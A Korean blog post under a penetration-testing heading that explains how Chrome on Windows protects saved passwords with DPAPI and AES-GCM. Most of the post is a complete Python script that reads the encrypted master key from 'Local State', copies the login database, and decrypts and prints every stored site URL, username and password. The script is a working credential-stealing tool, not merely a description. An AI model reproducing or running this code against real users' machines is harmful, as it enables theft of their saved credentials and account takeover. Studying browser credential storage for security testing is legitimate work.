본문 바로가기

모의해킹

[Chrome] Password Decrypt

이번 포스팅 글은 Chrome에 자동로그인 시 저장되는 계정과 패스워드를 복호화할 수 있는 방법을 정리한다.

 

Chrome은 사용자의 편의를 위해 로그인이 필요한 Site마다 ID와 패스워드를 기억하는 기능을 제공한다.

일반적으로 패스워드의 경우 일방향 암호화를 이용하여 저장되어야 하지만 크롬에서 제공하는 자동로그인의 경우 패스워드를 평문으로 기억해야 하는 경우라면 암/복호화가 가능한 알고리즘으로 로컬 내 저장하는 방식이다.

 

#저장원리

Windows용 Chrome에서는 DPAPI(Data Protection API)인 CryptProtectData를 사용해 패스워드를 암호화 후 SQLite로 저장한다. 저장되는 파일명은 "Login Data"이며 아래와 같은 경로에 위치하고 있다.

* python 코드로 직접 구현해본 결과 Login Data에서는 마스터키로 복호화하였을 때 로컬에 저장된 값이 출력되지 않아 해당 디렉토리를 확인해보니 "Login Data For Account" 파일이 존재했고 해당 파일을 호출한 결과 정상적으로 데이터가 복호화 되었다.

%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account

 

#암호화 키 값 위치 경로

암호화 키는 Windows용 PC의 아래의 경로에 위치하고 있다.

%USERPROFILE%\AppData\Google\Chrome\User Data\Local State

 

해당 파일로 접근 후 열어보면 encrypted_key 단어를 찾을 수 있으며 해당 키 값을 이용하여 패스워드를 해독할 수 있게 된다.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

#암호 알고리즘(AES) 이해

암호문에서 AES 암호화 방식은 Encrypt Key를 이용하여 수학적 연산이 이루어지며 초기화 벡터 값을 추가할 수 있다.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

#Python 구현

OS : Windows
Python : 3.9.0.
pip install list
1. sqlite
2. pycryptodomex
3. pywin32

 

import os
import sqlite3
import win32crypt
import json
import base64
from Cryptodome.Cipher import AES
import shutil

def get_master_key():
    with open(os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Local State', "r",encoding='utf-8') as f:
        local_state = f.read()
        local_state = json.loads(local_state) #joson load
    master_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
    master_key = master_key[5:]  # removing DPAPI
    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
    
    return master_key

def decrypt_payload(cipher, payload):
    return cipher.decrypt(payload)


def generate_chipher(aes_key, iv):
    return AES.new(aes_key, AES.MODE_GCM, iv)

def decrypt_password(buff, master_key):
    try:
        iv = buff[3:15]
        payload = buff[15:-16]
        cipher = generate_chipher(master_key, iv)
        decrypt_pass = decrypt_payload(cipher, payload)
        decrypt_pass = decrypt_pass.decode('utf-8')  # remove suffix bytes.
        return decrypt_pass
    except Exception as e:
        print("Probably saved password from Chrome version older than v80\n")
        print(str(e))
        return "Chrome < 80"


master_key = get_master_key()
print('[+] Master Key :',master_key)
login_db = os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\default\Login Data For Account'
shutil.copy2(login_db, "Loginvault.db") #making a temp copy since Login Data DB is locked while Chrome is running

#connect to sqlite database
conn = sqlite3.connect("Loginvault.db")
cursor = conn.cursor()


try:
    cursor.execute("SELECT origin_url, username_value, password_value FROM Logins")
    for index, login in enumerate(cursor.fetchall()):
        url = login[0]
        username = login[1]
        ciphertext = login[2]
        decrypted_password = decrypt_password(ciphertext, master_key)
        if len(url) > 0:
            print("URL: " + url + "\nUser Name: " + username + "\nPassword: " + decrypted_password + "\n" + "*" * 50 + "\n")
except Exception as e:
    pass

cursor.close()
conn.close()

try:
    os.remove("Loginvault.db")

except Exception as e:
    pass

 

#구현 결과 예시)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

#참고 : https://ohyicong.medium.com/how-to-hack-chrome-password-with-python-1bedc167be3d